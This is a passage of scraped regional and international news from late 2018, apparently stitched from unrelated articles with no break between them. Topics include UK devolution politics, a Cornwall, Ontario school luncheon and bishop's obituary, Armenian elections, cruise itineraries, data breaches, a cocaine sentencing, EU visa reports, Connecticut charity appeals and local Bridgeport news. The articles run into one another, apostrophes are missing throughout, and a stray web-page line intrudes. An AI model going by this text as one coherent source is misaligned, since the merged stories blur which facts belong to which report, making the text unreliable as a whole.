a way that two years of civil service rule hasnt, presumably the failure of Karen Bradleys efforts to get the Northern Ireland Assembly back on its feet. Another concern might be that previous direct rule arrangements involved the Northern Irish Secretary assuming almost viceregal authority over all aspects of governing the Province, rather than integration into mainland governance arrangements. Bradley might not be the minister best-placed to fulfil that particular function. The paper reports that the DUP believe that Boris Johnson, who recently addressed their conference, would support the return of direct rule, although he apparently denies this. Finally, the story of the Constitutional Research Councils shadowy donation to the DUP reached its anticlimax this week when the Electoral Commission fined the CRC the princely sum of just 6,000, according to the News Letter. This was levied for failing to notify them about the 435,000 donation, rather than any impropriety regarding the source of the money. Despite much paranoiac speculation about this so-called dark money, the Commission have ruled it to come from legitimate sources. as polls suggest anti-devolution party might break through in Wales More good news on the devolution front, this time from Wales. For the first time, Professor Roger Awan-Scullys polling has found the bluntly-titled Abolish the Assembly party on track to win representation in that self-same institution. They appear to be the beneficiaries of the pretty much total collapse in UKIPs position: the Peoples Army looks set to fall from seven seats in 2016 to just one, and that last may well just be a statistical artefact. Unfortunately for the Conservatives, it looks as if they have missed the strategic opportunity posed by UKIPs collapse that I wrote about during their leadership contest earlier this year. Despite the disintegration of another pro-UK, pro-Brexit party they look set to pick up just two seats, failing to match their 2011 total and still stuck in third behind Plaid. The gulf between their Westminster and Cardiff Bay polling positions also remains, testament to hundreds of thousands of Tory voters preferring to stay at home than endorse the partys Assembly offer. Whilst Abolish the Assembly may go the way of UKIP it is never easy for a fringe party to adapt swiftly to the larger stage if they can set down roots they could cause a real headache for the Welsh Conservatives down the line. If they start making a credible devo-sceptic pitch to core Tory voters, the current strategy of leaning in to the devolutionary agenda and laying the ground to be (junior) partners with Plaid in an anybody-but-Labour coalition will be unsustainable. As for their core goal, a second set of data released this morning suggests that at present about one in five Welsh voters would choose to abolish the Assembly if given the chance. Given that this idea is essentially unrepresented by any of the parties, think tanks, or newspapers, there could be worse starting points. Scottish Tories in EU referendum row as Supreme Court deals blow to SNP Brexit bill The Supreme Court ruled this week that a bill tabled by the Scottish Government to assert its control over various policy areas post-Brexit exceeded its powers, the Financial Times reports. Adam Tomkins, the constitutional law professor and Conservative MSP, tweeted afterwards to show how swathes of the document had been struck down. This comes in the same week that Ian Blackford, the SNPs leader in Westminster, announced that the ship had sailed on a soft Brexit compromise as the Nationalists toughened their stance regarding a second referendum. Nicola Sturgeon has reportedly made securing one her top priority although Murdo Fraser points out that they wont commit to respecting the result. In fact, the row over a second referendum spread to the Scottish Tories this week after a seemingly well-sourced piece from Chris Deerin in the New Statesman suggested that they were preparing to back a second Brexit vote themselves. Given that this would set a clear precedent for giving the Nationalists another tilt at independence this was quite the claim, and acting leader Jackson Carlaw has quashed the rumour (in very robust language). Nonetheless, since Deerin obviously didnt invent his sources the event raises the question of which elements inside the Scottish Conservatives are flying a kite, and why. Perhaps the emerging divisions in the party, which I touched on last week, are deeper than they appear. We are analyzing the site. Please wait a few seconds.. CORNWALL, Ontario About 200 excited students filled their plates with a buffet of food during the first ever Christmas Luncheon held at St. Peter Catholic School on Wednesday, Dec. 20. Prior to this year, Christmas festivities were typically held at Immaculate Conception Catholic School, which has since merged into St. Peter. It is going very well and it is all due to the parent council, said Ken MacDonald, Principal of St. Peter. The parent council are the ones who organized the entire thing with the help of the Knights of Columbus, who did a lot of the cooking. It has been going fantastic. We do have a head table of guests who could come to visit. Santa did come to visit too. MacDonald said that approximately 200 students and 50 staff would be in attendance for the feast. Council thought it would be really nice, with the schools merging, to have a community turkey luncheon because it was a tradition that we used to do there (at Immaculate Conception), said Janice Flood, a member of parent council and an Early Childhood Educator (ECE) at the school. So we brought them together and we thought its a good way too to get our local parish and other community members involved. Many students were evidently excited about the holidays, wearing Christmas colours and costumes. One student even sported a bedazzled hairdo, emulating that of Cindy Lou Who from The Grinch. Lining the hallway to the gymnasium where the holiday feast was underway were festive decorations, including a life-size version of The Grinch with the question: how will you help The Grinch grow his heart three sizes? My favourite part of the holidays is definitely spending time with my family, said Katie Gardiner, a grade 3 student. Her brother Reid who is in grad 6 agreed, adding that it is also nice to spend time with friends. I enjoy going to get the food! said Teann Wickramarachchi, a grade 3 student, as she did a brief happy dance. Sahara Fuller, a grade 2 student, also enjoyed the food especially the bread. It just shows that even though with the school closures, with the obstacles, we have come together as a full communityworking together for the sake of the children, said Flood. CORNWALL, Ontario On Sunday, Dec. 16, Emeritus Bishop Eugene Philippe LaRocque of the Diocese of Alexandria-Cornwall passed away in Windsor, ON. Bishop LaRocque, 91, was born in 1927 in Windsor, ON. With strong roots in the community, he retired to the area following 27 years of local devotion; he was the longest-serving Bishop of the Diocese of Alexandria-Cornwall. After he was ordained into priesthood in 1952, Bishop LaRocque pursued graduate studies at Torontos St. Michaels College and Laval University. He obtained a Masters Degree in French and served as registrar for the Kings College of the University of Western On., where he taught French and religion. In 1974, Bishop LaRocque was ordained a Bishop for the Diocese of Alexandria, serving as the Dioceses sixth Bishop. In 1976, Cornwall was added to the name of the Diocese under Bishop LaRocque and the Vatican approved the raising rank of La Nativite to Co-Cathedral. Bishop LaRocque was adamant on encouraging young people to consider priesthood and religious life. He ordained seven priests during his tenure. He also instituted the Dioceses program for permanent diaconate and ordained 12 mean as permanent deacons for the Diocese. Passionate about education, Bishop LaRocque was a keen supporter of full funding for the provinces Catholic schools, which was achieved in 1984. Among several other achievements, Bishop LaRocque became the State Champlain of the Knights of Columbus of Ontario in 1977 and served as the president of the Assembly of Catholic Bishops of Ontario from 1992 to 1994. During is last 10 years of services, the Diocese became involved in the Cornwall Public Inquiry, with several individuals coming forward alleging sexual abuse by priests of the Diocese. Under Bishop LaRocque, the Diocese began implementing first committee and first protocol to deal with the tragic reality. According to a statement from the Diocese, Bishop Larocque once stated, To be aware that one has been chosen to serve the Lord by being at the service of his brothers and sisters, especially those most in need, gives great purpose and fulfillment to my life as a priest and bishop. Some of Bishop LaRocques favourite past times included gardening, especially roses, as well as cooking and hosting for his priests and parishioners. Every year he would open his home for his annual New Years levy. The Diocese has announced that visitation will be offered between 7 p.m. and 9 p.m. on Friday, Dec. 21 at Nativity Co-Cathedral. Visitation will also be offered at 9:30 a.m. on Saturday, Dec. 22 preceding the Funeral at 11 a.m. On December 9, for the first time in many years, Armenia held elections, results of which can't be doubted by society or any political forces. Early parliamentary elections were praised by local and international observers, who highlighted absence of bribing of voters this time. Over the past 10 years, bribery, along with various manipulations with voter lists, has been one of the most common violations. "My Step" bloc, headed by acting Prime Minister Nikol Pashinyan, won elections with 70.43%. Second and third places were taken by the Prosperous Armenia Party (PAP) (8.27%) and "Bright Armenia"(6.37%). Eemaining eight participants in pre-election race couldn't get above five percent barrier and didn't get into the parliament. As a result, My step received 88 mandates out of 132, PPA received 26, and Bright Armenia 18. So now Armenia's parliament has three de-ideologized political forces. PAP and Bright Armenia are likely to support authorities in political issues. Some experts already believe that Bright Armenia in the new parliament will play the role of a pocket opposition. Political scientists believe that real opposition will appear in the My Step block itself. Either way, legitimate power has been finally formed in Armenia, although quality of this power raises a lot of questions. At the same time, internal political structure hasn't changed - total political monopoly of the Republican Party has turned into monopoly of the My Step bloc. Armenia still has one-and-a-half party system: power belongs to the party, which has huge advantage in the parliament, which also has party that either is the opposition or plays role of the opposition, but doesn't have decisive influence on any processes. Similar one-and-a-half party system formed in Armenia in 1995 and continued in to evolve until 2007, when it was finally established in full. In 2003, the Justice bloc played the role of opposition, in 2007 - the Heritage party, in 2012 - the Armenian National Congress, in 2017 - the Yelk bloc, and now the PPA and "Bright Armenia" are playing this role. However, all listed political forces had no influence on internal political processes, they just helped to create image of democracy. In this regard, Armenia is not the only country like that in the post-Soviet space. It's important to note that from now on Pashinyan, who received vote of public confidence, can no longer claim that counter-revolutionaries are hindering him and his policy. It's no longer possible to blame opposition of the country, since he's Prime Minister and holds complete authority. Star television chef Omar Allibhoy is set to share secrets of how to create Spanish dishes during Saga Sapphires Flavors of the Iberian Peninsula cruise this coming spring Allibhoy, the founder of the Tapas Revolution bars and restaurants, is known as "the Antonio Banderas of cooking" and guests will be able learn how to make tapas and paella during the no-fly sailing from Southampton. From Malaga, theres a visit to an Andalusian farmhouse with the option to help prepare paella for lunch. In Cadiz, guests can visit a bodega in Jerez, as well as witnessing a traditional equestrian performance, and a chance to explore one of Europes largest wine cellars and enjoying a wine-tasting. The first port of call is Leixoes, in Portugal, which features a tour to a lodge in Oporto where the citys fortified wine is blended as well as a chance to see the 20,000 azulejos tiles in the Sao Bento railway station. In Gibraltar a sightseeing tour to the Rock, before high tea at the art deco Rock Hotel, is on the itinerary, while a taste of Andalusian culture is found in the bodegas of Motril, with an excursion to the magnificent Alhambra Palace in Granada. The ship sails 14 nights from Southampton, departing on March 28 and returning to Dover on April 11. Cunard today announced that it will spend a full season in Alaska from June through September in 2020 on the Queen Elizabeth. Cunard is making its return to Alaska in May 2019 and due to high demand, the line will double its program in 2020. This expanded program will offer ten roundtrip voyages out of Vancouver ranging from nine to twelve nights and one getaway cruise to San Francisco for an overnight stay on July 4. Guests will have the opportunity to take in the breathtaking beauty of Alaska with the iconic experience of sailing on a Cunard ship. We are so excited to offer an extended season in Alaska on Queen Elizabeth in 2020, said Josh Leibowitz, SVP Cunard North America. Due to strong demand and passenger feedback, Cunard has more than doubled its voyages in Alaska, visiting the most incredible cities with longer time in port to enjoy this inspiring destination. Port calls include Skagway, Juneau, Ketchikan, Sitka and more. In addition, the voyages offer scenic cruising in the narrow waterways of the Inside Passage, the Hubbard Glacier and Sawyer Glaciers twin fjords, Tracy Arm and Endicott Arm. Passengers have the opportunity to combine voyages together, including the Alaska roundtrips, Independence Day cruise and the North Pacific Crossings from Yokohama or to Tokyo. These 2020 voyages include: Alaska Voyage, roundtrip from Vancouver, 10 nights from June 2-12, 2019 (Q017), fares starting at $1,599 Independence Day Celebration, Vancouver to San Francisco with an overnight in port, 3 nights from July 2-5 (Q020A), fares starting at $599 San Francisco to Vancouver, 16 nights from July 5-21 (Q020D), fares starting at $2,659 Vancouver to Tokyo, 29 nights from August 29-September 28 (Q026A), fares starting at $4,459 Cunard also will continue its partnership with Rocky Mountaineer, offering pre- and post-cruise tours on the railroad. Tours include either three- to five-nights accommodation, plus two full days aboard the train. Three-hundred and twenty-seven million Marriott user accounts compromised. 100 million at Quora. 148 million from Equifax. Those all pale in comparison to the 3 billion user accounts compromised from Yahoo in 2013. Ask yourself this: do you find yourself becoming outraged or saying ho-hum every time you hear about the latest record data breach? Society seems to be agreeing with the latter answer. I was recently sitting in a room with some of the worlds brightest minds at a Secure Technology Alliance consortium meeting in Washington, DC, trying to figure out how to better authenticate and secure our digital world. It was easily the most-brains-and-experience-per-square-foot meeting Ive ever been in focusing on better and more pervasive authentication. Many of the presenters talked about how bad things are today, with continued phishing and unpatched software making Swiss cheese of most organizations security defenses. This is despite myriad competing great authentication solutions, which are undermined by seemingly indifferent users. Why dont users care more about security? was a common question asked during breaks. Many other presenters pointed out that many of the problems each of us were pointing out were the same problems 30 years ago. It was a room full of people dedicated to figuring out the remaining hard problems and trying to get the right authentication solutions developed and standardized. MOSS POINT, Miss. -- A former Black Beach spring break promoter has been sentenced to 20 years in federal prison for his role in 49 kilos of cocaine crossing into Mississippi, according to the U.S. Attorney's Office. Keith Lavell Brown, 46, of Moss Point, was sentenced on Wednesday by U.S. District Judge Louis Guirola to 235 months in prison, followed by five years of supervised release for conspiring to possess with intent to distribute five or more grams of cocaine. Brown was also ordered to pay a $35,000 fine. After pleading guilty on Aug. 15, 2018, Brown admitted to being involved in a conspiracy to bring cocaine to the Mississippi Gulf Coast starting in 2015 until August 2017. In March 2016, Brown's cousin was pulled over in Louisiana and upon his arrest, Louisiana State Police located 15 kilograms of cocaine inside his vehicle. During the DEA and FBI's investigation, they determined that Brown had conspired with his cousins and others to have the cocaine brought from Texas to Mississippi. Brown and another individual with connections with a Mexican cartel actually followed his cousin's vehicle prior to it being stopped, according to police. After the stop in Louisiana, another individual was stopped in Mississippi driving an RV. During the stop, the RV was searched and law enforcement located 11 kilograms of cocaine hidden inside. According to DEA and FBI agents, their investigation of the RV revealed the kilos of cocaine were supposed to be delivered to Brown and others in Moss Point. Officials also learned the cocaine located in the RV was not the driver's first delivery of cocaine to Brown -- the driver previously delivered 13 kilograms of cocaine unscathed. In court, Judge Guirola ultimately held Brown accountable for 49 kilograms of cocaine during the period of the conspiracy. The case was investigated by the Drug Enforcement Administration and the Federal Bureau of Investigation. It was prosecuted by Assistant U.S. Attorney Kathlyn R. Van Buskirk. The European Union has asked Western Balkans and EU Eastern Partnership countries that have visa-free regimes with the bloc's Schengen Area to take further measures to address irregular migration, as well as urging Georgia to do more to prevent unfounded asylum applications and calling on Ukraine to step up its fight against corruption, Radio Free Europe/Radio Liberty writes in the article EU Criticizes Western Balkans, Eastern Neighbors Over Migration. The exhortations came in the European Commission's annual report, published on December 19, on the functioning of the visa-free regime with Albania, Bosnia-Herzegovina, Georgia, Macedonia, Moldova, Montenegro, Serbia, and Ukraine. While the commission stated that all eight continued to fulfill the visa-liberalization benchmarks, meaning that steps to suspend visa-free travel will not be taken, the report contained criticism of the Eastern Partnership countries in particular. Moldova should take immediate steps to counter money laundering and Ukraine to fight corruption while the increasing number of unfounded asylum applications in the EU from Moldovan and Georgian citizens is a source of concern, it said. Ukraine must take immediate action to ensure the continuous fulfillment of the anticorruption benchmark, as well as to address irregular migration challenges, the report said. It also said that irregular migration from Serbia and Bosnia-Herzegovina to the EU remains high. The visa waiver applies to all EU countries except for Britain and Ireland, and also includes non-EU states Iceland, Liechtenstein, Norway, and Switzerland. It enables citizens of the states with visa liberalization to enter these countries without a visa for 90 days in any 180-day period if they hold a biometric passport. The countries of the Western Balkans received visa liberalization in 2009-10, followed by Moldova in 2014, and Georgia and Ukraine in 2017. Citizens of Kosovo are still without a visa-free regime, despite a positive report from the European Commission earlier this year. Some EU member states are reluctant to grant any benefits to Pristina before the European Parliament elections in May 2019, EU officials and diplomats have told RFE/RL on condition of anonymity. As the holiday seasons presses on, some area families are in need of some extra help. Among the 10 cases this week are a Bridgeport student in need of help to buy supplies as he plans to start college, a family looking to afford warm coats after moving into a shelter and a mother of two who needs help covering car repairs. For the 10th consecutive year, the Connecticut Post has partnered with United Way to provide stories of those in the community in need of monetary help this holiday season. Donations can be made to The Giving Fund, a philanthropic partnership between United Way, LifeBridge of Bridgeport and the Connecticut Post. Coupons are provided in print for donations. Online donations can be made at https://bit.ly/2UWVaFx. As of Wednesday, 61 Connecticut Post readers have donated $10,925 to Giving Fund cases. The needs have been fully met for the following 2018 cases: 001, 010, 019, 021, 024, 027 and 030. All cases for 2018 can be found at https://www.ctpost.com/givingfund/. At this point last year, 66 Connecticut Post readers had donated $12,893 to cases. David Kennedy, chief operating officer of United Way of Coastal Fairfield County, said the 2017 donations included a group gift from 90 employees at one company. Every Wednesday online and every Thursday in print, true stories are shared of area residents struggling to make ends meet. Though the stories are true, the names of the people have been changed. The total request for this week is $4,370. Rena Case 041 Rena and her husband have 4-year-old twins, but she was recently laid off from her job and is seeking employment. The twins are in preschool but Rena and her husband are behind on their school tuition because she was laid off. A gift of $400 would help them catch up on the tuition and continue their childrens education. Bill Case 042 Bill is a 21-year-old trying to keep his family warm, but he recently lost his job and needs some money to help buy clothes for himself and his family. Bill is involved with LifeBridges Face Forward Program and got his certificate in construction. After being laid off, Bill was forced to move into a shelter in Bridgeport with his girlfriend and his child. He is actively searching for work. Bills family wasnt able to bring all the familys belongings when they moved into the shelter. A gift of $500 would help Bill buy warm coats, shoes and other supplies for his family this winter. Nelson Case 043 Nelson starts college in January and needs some help paying for supplies. The 19-year-old Bridgeport resident and client of the Tech Connections Program at LifeBridge needs some clothes and school supplies as he plans to start Housatonic Community College in January for the spring semester. Nelson is an only child, living with his mom, who is unable to help him pay for school supplies. A gift of $400 would make sure Nelson is ready to begin his classes next month. Macy Case 044 Macy has taken on the responsibility of raising her 3-year-old grandson. She has been a Bridgeport resident since she was a young girl. She raised her five children in the city. Macy endured domestic violence, homelessness, sexual assault and debilitating physical and psychological difficulties. She recently accepted the challenge of raising her grandson, embracing it as she did adopting his mother when she was born 25 years ago. A gift of $500 would help Macy get her home ready and help with any possible financial burdens during the holiday season. Art Case 045 Art needs some help relieving his financial burden this holiday season. Hes a father of three young children, living in Bridgeport. He hasnt been able to work for the past three years because of a back injury, but has performed small jobs to help his wife with financial needs. Arts second child has Noonans syndrome, a rare childhood illness that requires special care. A gift of $350 would bring relief to Arts family and help them keep pushing forward. Katie Case 046 Katie needs a place to rest when shes not feeling well. Katie, a caring and loving great-grandmother living in Bridgeport, has been living independently for the past few months after living in a nursing home for several years. She is 93 years old and sometimes has days when she isnt feeling well. Even on those days, she puts other needs before her own. A gift of $450 would help Katie buy a rocking chair, cushion and throw blanket to rest when she doesnt feel well. Dory Case 047 Dory could use some help to cover repairs on her car. She is a 21-year-old longtime client of LifeBridge. She has two small children in day care and works part-time at a factory. Dory has a car at home that isnt working because it needs rotors, brakes, wipers and tires. Right now, Dory has been relying on the bus to get to work and drop her children off at day care. A gift of $500 would help Dory get her car fixed. Sam Case 048 Sams computer keeps crashing and hes in need of a new one. Sam, a 16-year-old living in Bridgeport, is a client of the Tech Connections Program at LifeBridge. He attends Bridge Academy and is in need of a computer because his keeps crashing. Sams mom is a single mother with five children and cant afford to buy Sam a new computer for Christmas. His Tech Connections program only pays $7.25 an hour and he only works six hours per week, making it difficult for him to save up on his own. A gift of $350 would help Sam afford a new computer. Jennie Case 049 Jennie is in need of bus passes to get to her new job. Jennie, a single mother of two children living in Bridgeport, has been working to support her family as she takes courses at night to get her Associates Degree. She lost her steady job in January when the business she worked for closed. She had been struggling to find a job that would allow her to care for her children after school. She found the perfect job two months ago and just passed her 60-day probation period. As she transitions into the new job, she is working to catch up on bills. A gift of $420 would cover the cost of six monthly bus passes to ensure Jennies transportation is covered so she gets to her job each day. Ryan Case 050 Ryan relies on his car to get to his regular doctor and health care appointments. Hes a single elderly man living in Bridgeport. He suffers from chronic circulatory health problems that require continuous health care. Ryan receives Social Security disability that barely covers his monthly rent. Each month, he struggles to cover costs for food, utilities and medical supplies not covered by Medicare. A gift of $500 would help Ryan keep up on his cars necessary maintenance and help cover some of the cars insurance costs. BRIDGEPORT Faced with the threatened loss of federal funds, the City Council this week approved the final $1.8 million design to complete the citys section of the Pequonnock River Trail bicycle trail that runs to Newtown. Im voting yes for this because I just dont want to lose the money, said Councilwoman Karen Jackson before Mondays vote. The state Department of Transportation recently wrote Mayor Joe Ganim that the federal dollars for the trail could be rescinded by the government if unused as of Sept. 30, 2019. City Hall gave a copy of the letter to Hearst Connecticut Media. We would send a wrong message to the state for a city that needs money as bad as we need, said Councilman Ernie Newton. Bridgeports trail design came under fire in recent weeks from ex-council member and biking enthusiast Robert Halstead, who made a last-minute push to have it re-routed. The plans have been in the works since 2015. Halstead argued the city did a poor job reaching out to bicyclists for input and too much of the Bridgeport trail section runs along busy streets. But all Halstead accomplished was delaying the final council vote, originally scheduled for November, to this week. An additional public meeting held on the trail by the council was sparsely attended. William Coleman, deputy director of planning and economic development, told the council Monday that the waters poisoned, air polluted, by misinformation. Its a good project, Coleman insisted. The entire Pequonnock River Rail Trail is 16 miles, with some 9,900 worth of linear feet already built in Bridgeport in Beardsley Park and along Housatonic Avenue. The remaining 2.5 miles 13,150 linear feet of work will complete the Bridgeport section. The $1.8 million cost is mostly being paid for by a federal air-quality grant. According to Coleman, the majority of the Bridgeport trail is physically separated from vehicular traffic, with 3,750 linear feet of the to-be-built section a bike lane on existing roads, and 3,900 of planned linear feet a shared right-of-way for bikes on roads identified with signage. Halstead has argued since November that the city, unlike the suburban towns the trail winds through, did not try hard enough to keep the trail mostly off-road and in more natural and scenic sections of the city. But Coleman said there is not enough money to do so. On Dec. 11, Ganims office received a letter from the state DOT warning of next Septembers deadline for using the federal grant. Therefore it is imperative that each municipality ... ensure project schedule adherence, wrote the DOT. Coleman said the councils approval allows his office to finalize construction drawings and bid and award the Pequonnock Trail contract by the Sept. 30 deadline. A few council members, including Kyle Langan and Christina Smith, sought a compromise. They wanted the final trail design designated interim to signal to Halstead and any other critics that improvements can and will be made when funds are available. Langan admitted that Halsteads alternatives require considerably more funding. Coleman at Mondays meeting pushed back, arguing any language that suggests the designs are not final could jeopardize the federal dollars. It is the Pequonnock Trail extension final design, Coleman said. It is not helpful to introduce some new element (or) nuance. Smith, who formerly worked in Bridgeports grants department, argued the federal government would not care. Langan said he did not like voting in response to an ultimatum the threatened loss of the federal money. Coleman, who is a bike enthusiast, also argued the council has been sucked a little bit into a false choice. He said the city has a desire to continue building bicycle paths and promoting biking and the Pequonnock Trail is not the final effort to do so. Thats a baseless fear, Coleman said. Halstead afterward said, Weve blown our opportunity here to really do something nice. BRIDGEPORT - Tony Barr and Maria Pereira entered the courtroom Thursday afternoon frowning and left nearly three hour later, crying. Not because Superior Court Judge Barbara Bellis granted their respective applications for protective order she didnt, patiently explaining that their allegations against each other did not constitute stalking, a requirement for the order. But more likely it was her words, like a mother hen, admonishing them as public figures to act like ones. To your credit you have worked to make things better in the city, and as a result your paths have crossed and will continue to cross, the judge told them. As public figures, you have to face criticism and negativity. Pereira, a member of the citys Board of Education, and Barr, a member of the Democratic Town Committee, filed applications against each other. Pereira claimed Barr is delusional and a threat to her while Barr countered that Pereira has called him a drunk and a drug addict. During the hearing, Jorge Cruz testified that Pereira has attacked Barrs character, while Board of Education member Ben Walker contended Barr is an angry person. Evidence was also presented to the judge that Barr has posted a number of videos on Facebook making derogatory statements against Pereira. In one he dangles a small pen knife which she tearfully told the judge she considered to be a threat. That is bad behavior, the judge admonished Barr. Mr. Barr, you would be wise not posting any more videos mentioning her name, especially with knives, because you could end up back in court and this could end differently. Barr nodded his head in agreement. Gov. Dannel P. Malloy has some parting shots to give as he prepares to leave office after eight years. Republicans use the issue of mental health in an attempt to derail gun-safety legislation and stay on the right side of the National Rifle Association, he said. They dont care about the truth, said the two-term Democrat during an interview with Hearst Connecticut Media. Malloy charged that a Republican policy argument about the need for better mental-health programming, not tighter gun control, is disingenuous. Policy makers who actually adopt that line should be ashamed of themselves because they dont put more money into mental health and you couldnt put enough money into mental health to stop the carnage, Malloy said. So its a lie and its a lie that theyre willing to accept because they want to get along with the NRA. So the NRA has bought and sold the Republican party. Malloy believes that an LGBTQ-backlash in Southwestern Connecticut resulted in three veteran Republican state senators Greenwichs L. Scott Frantz, Wiltons Toni Boucher and Danburys Michael McLachlan losing their re-election races last month in surprise upsets. Malloy unsuccessfully nominated his longtime legal adviser, Supreme Court Justice Andrew McDonald, for the job of chief justice of the state Supreme Court. If the nomination had stood, McDonald would have become the nations first openly gay chief justice. An estimated 10 percent of the general population identifies as part of the LGBTQ community. I couldnt have as many gay friends and for that matter mentors as I have and fail to understand the thousands of years of discrimination that group has suffered, said Malloy, stressing pride in the gender, racial and ethnic diversity he has promoted in his nominations and appointments. Sitting in his sunny Capitol office, with stacks of empty moving boxes being readied to pack up two terms of memorabilia, Malloy admitted to more than a few regrets, as he contemplated another career at age 63. I think everything that Ive done, I could have done better, Malloy said. Every win could have been bigger. Every loss could have been prevented. It is impossible to change that which has happened. Its only possible to change the future, so I dont spend a lot of time on it. Im sure Im going to miss a lot of things. Im anxious to be alone. Im anxious to not be the headline in every newspaper. Malloy, who confronted multi-billion-dollar budget deficits at the height of the Great Recession when he took office in January 2011, may be best-remembered for his role at the Sandy Hook fire house during the long afternoon of the 2012 Newtown School Shooting. He was the one who stepped forward and told anxious families that their 26 loved ones were not coming back. Asked for his current feelings about guns, the lawyer and former 14-year Stamford mayor paused. I think theyre good for hunting, but we just shouldnt hunt human beings, Malloy said, admitting that when he took office, he believed that Connecticuts gun laws were more strict. I also didnt fully understand how people empower people with mental illness to be as destructive as some become. In one sense, I dont blame the (Sandy Hook) shooters mother. She did the best she could. But you know, you dont give guns to people in that kind of shape. People kill people, but they use guns and its hard to have a mass-casualty stabbing. Malloy said that national Republicans are playing larger roles in Connecticut, resulting in more partisanship. Republicans have an advantage in politics, he said. They dont tell the truth. Theres absolution granted for any lie told. Thats how 38 percent of the people in the United States are still behind (President Donald) Trump. I dont think Republicans, members of the party, have the right to ever say theyre the party of Lincoln. The true impediment that Democrats suffer from is that we hold ourselves to a higher standard, said Malloy, whose two terms often featured clashes with both parties in the General Assembly. Senate Republican Leader Len Fasano, R-North Haven, a longtime foil of Malloys, was conciliatory when asked Wednesday to comment on Malloys tenure. I think he is the epitome of what work ethics should be, Fasano said. He works hard, he studies hard and he knows the issues, but hes not afraid to ask other people if he isnt sure of something. I always liked the fact you knew where he was coming from and you knew it was a philosophy he felt in his bones. That was something that I respect, that we had those disagreements. Still, Fasano described Malloy as prickly, a trait that he said hindered the outgoing governors success, somewhat. But I always felt I could go to him or his chief of staff to help with a bill or to help with an issue in my district. Hes always treated me with respect even though we disagreed on politics. Malloy said eight years is about the limit that anyone should lead the state. I never thought during the vast majority of my first term that Id ever have a second term, so I did everything I could, then when I got to a second term, I said all right, lets do it again. Lets take it on, he said, adding he regretted a missed opportunity to revamp the statewide teacher pension program, which has one of the nations highest unfunded liabilities. He said he expects the pension program will be one of the challenges that Governor-elect Ned Lamont will focus on when he arrives Jan. 9, and Malloy departs for a part-time professor post at his alma mater, Boston College. The teachers pension is going to be resolved because it needs to be resolved, said Malloy, whose official portrait will be unveiled Thursday afternoon in the State Library and Museum across from the Capitol. When that happens, it will be a substantially brighter day for Connecticut. MILFORD As soon as contracts are signed with the Connecticut State Library, the Milford Public Library will start a $424,000 renovation project to reclaim storage and office space for patron use. Christine Angeli, director of the Milford Public Library, wasnt holding her breath for a state grant from the Connecticut State Library, Division of Library Development, that would help the city fund library renovations. There wasnt much funding available, and there were other contenders for the state money. But in November, Angeli learned the Milford library had been awarded a state library grant for $212,750. The grant requires the city match the funds, and Angeli said most of that will come from a previous allocation for library renovations. State Representative Kim Rose, D-Milford, recently announced the official approval of the funding by the State Bond Commission. I am grateful our library will be receiving these much-needed funds that will not only improve the use of space within the building, but will make it more accessible for people with disabilities, Rose said. I applaud the hard work of the library board and look forward to the projects progress. The library has 18 months to begin spending the funds after paperwork is signed. Renovations will be primarily aimed at redistributing space within the building. Reclaiming office and other space on the lower level would double the amount of space in the childrens department and make it ADA compliant, Angeli said earlier in the grant process. Currently, a virtual cavern of space just beyond the childrens library is used for office space and storage. With changes that have taken place since the library was built in 1976, that kind of space just isnt needed anymore, Angeli said. The childrens department is 2,000 square feet, and by expanding into the office and storage space and reclaiming some space now used for technical services and deliveries, another 2,000 square feet would be added, she said. The library has expanded its programming in recent years, and childrens story hours alone attract 50 to 60 people. But when the story is over, there isnt enough room for families and children to sit and browse through the books. We dont have the space for children to lounge and read for an hour, and I think thats really important, Angeli said. There also isnt enough room for children in wheelchairs to move down the book aisles conveniently. Creating more space would also allow the staff to create different areas for children of different ages. Similar changes would be made upstairs in the adult department, where office and storage rooms and other behind-the-scenes space would be reclaimed to create two small meeting rooms, something that patrons have been requesting on almost a daily basis, Angeli said. Expanding space isnt a new idea. A study done in 2000 suggested similar changes. The library is a vital hub of the community, but we need to evolve and change as new regulations and technologies are introduced, Angeli said. Naugatuck Valley Health District (NVHD) has qualified for national accreditation through the Public Health Accreditation Board (PHAB). We are pleased and excited to be recognized for achieving national standards that foster effectiveness and promote continuous improvement, said Karen Spargo, Director of Health of the Naugatuck Valley Health District. The accreditation process helps to ensure that the programs and services we provide are as responsive as possible to the needs of our community. With accreditation, NVHD is demonstrating increased accountability and credibility to the public, funders, elected officials and partner organizations with which we work, she said. PHAB is a nonprofit organization that works to improve and protect the health of the public by advancing the quality and performance of the nations state, local, tribal, and territorial public health departments, according to its website. The national accreditation program, jointly supported by the Centers for Disease Control and Prevention and the Robert Wood Johnson Foundation, sets standards toward which the nations more than 3,000 governmental public health departments can focus. To receive accreditation, a health department must undergo a rigorous, multi-faceted, peer-reviewed assessment process to ensure it meets or exceeds a set of quality standards and measures. Whenever you see our seal of accreditation, you will know that Naugatuck Valley Health District has been rigorously examined and meets or exceeds national standards that promote continuous quality improvement for public health, said Carissa Caserta, Assistant Director for Community Health. The Naugatuck Valley Health District joins the growing ranks of accredited health departments in a strong commitment to their public health mission, said PHAB President and CEO Kaye Bender. The peer-review process provides valuable feedback to inform health departments of their strengths and areas for improvement, so that they can better protect and promote the health of the people they serve in their communities, Bender said. The national accreditation program was created collaboratively over a 10-year period by hundreds of public health practitioners working at the national, tribal, state and local levels. Since the programs launch in September 2011, hundreds of public health departments have applied to PHAB for accreditation. Achieving accreditation indicates that Naugatuck Valley Health District is dedicated to improving and protecting the health of the community by striving to continuously improve the quality of the services it delivers, said Leslie M. Beitsch, MD, JD, chair of PHABs Board of Directors and chair of the Department of Behavioral Sciences and Social Medicine at Florida State University College of Medicine. Accreditation also promotes consistency in meeting standards Beitsch said. Naugatuck Valley Health District, 98 Bank St., Seymour, serves residents of Shelton, Ansonia, Beacon Falls, Derby, Seymour and Naugatuck. For more informationon districts services, call Naugatuck Valley Health District at 881-3255 weekdays from 8:30 a.m. to 4 p.m. or visit www.nvhd.org. The Connecticut Audubon Society has named the rare Roseate Spoonbill in Connecticut in September the 2018 Bird of the Year. >>Click through the slideshow to see all 8 Birds of the Year. Visit Connecticut Audubon's site for more information. The pink bird (that gets its hue from eating small crustaceans like shrimp) is usually found in the marshes of South America, along the coast of Central America and in the southern United Statesnot in the northeast. But this summer one was spotted living in Maine for a couple weeks, and one birder claimed it was the same one seen this week near the mouth of the Housatonic River in Stratford on Sept. 14 and then in the marsh at Connecticut Audubon's Milford Point Coastal Center on Sept. 19. Word spread and soon people from around the region were gathering to see and photograph it. "For three weeks the spoonbill shuttled between several locations in Stratford and Connecticut Audubon's Coastal Center at Milford Point, where it fed on the lip of the beach with other wading birds," according to a release. "Because of its 